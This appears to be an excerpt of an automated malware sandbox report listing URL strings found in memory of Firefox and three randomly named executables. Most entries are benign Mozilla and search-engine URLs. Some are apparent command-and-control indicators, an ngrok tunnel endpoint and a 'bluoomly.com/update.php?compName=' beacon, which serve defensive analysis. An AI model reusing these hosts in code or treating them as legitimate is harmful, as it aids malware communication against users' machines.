Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8597000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3027428952.000002AEAD97B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2826989264.000002AEACA67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2849026417.000002AEAE3CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2849026417.000002AEAE33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2975939708.000002AEABC40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3070696420.000002AEAE5D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3070696420.000002AEAE520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA85A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3197582661.000002B10003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2901409939.000002AEA78C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3064915251.000002AEAE3CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000001C.00000003.2826989264.000002AEACA67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001C.00000002.3070696420.000002AEAE54C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xule
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001C.00000002.3070696420.000002AEAE54C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuln
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/CFRPageA
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/BrowserTelemetry
Source: 7acf96002d.exe, 0000000A.00000002.2926237332.000000001DA9C000.00000004.00000020.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2929519757.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB4720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB4720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001C.00000002.3084108536.000002AEAE7F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2758104164.000002AEABF31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/_flippedInheritedAttributes
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB47D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2821105773.000002AEB47D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC8EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3145198431.000002AEAFB9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3070696420.000002AEAE5AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997884636.000002AEAC9DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2823294314.000002AEAC9DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001C.00000002.3084108536.000002AEAE7F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2899659472.000002AEA7739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA3B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2889357487.000002AE9BF6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 01806ad967.exe, 00000007.00000003.3792317372.0000000009653000.00000004.00000020.00020000.00000000.sdmp, 01806ad967.exe, 00000007.00000003.3792058877.000000006A629000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bluoomly.com/update.php?compName=
Source: 847b1b04ba.exe, 0000000E.00000003.2842371884.000000000535B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2899659472.000002AEA77AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 847b1b04ba.exe, 0000000E.00000003.2842371884.000000000535B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2899659472.000002AEA77AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2758104164.000002AEABF31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997884636.000002AEAC949000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA3E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 847b1b04ba.exe, 0000000E.00000003.2842371884.000000000535B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2899659472.000002AEA77AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 847b1b04ba.exe, 0000000E.00000003.2842371884.000000000535B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2899659472.000002AEA77AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2820527244.000002AEB4A9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.2889357487.000002AE9BF11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2889357487.000002AE9BF30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001C.00000002.3059695048.000002AEADD5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001C.00000002.3231532572.0000248ACAC04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2758104164.000002AEABF31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2860968167.000002AEAC0D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3224103248.00001BE948E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Z
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sPlease
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001C.00000002.3114461929.000002AEAF6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000003.2836477076.000002AEAD4C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2835226437.000002AEAD46C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
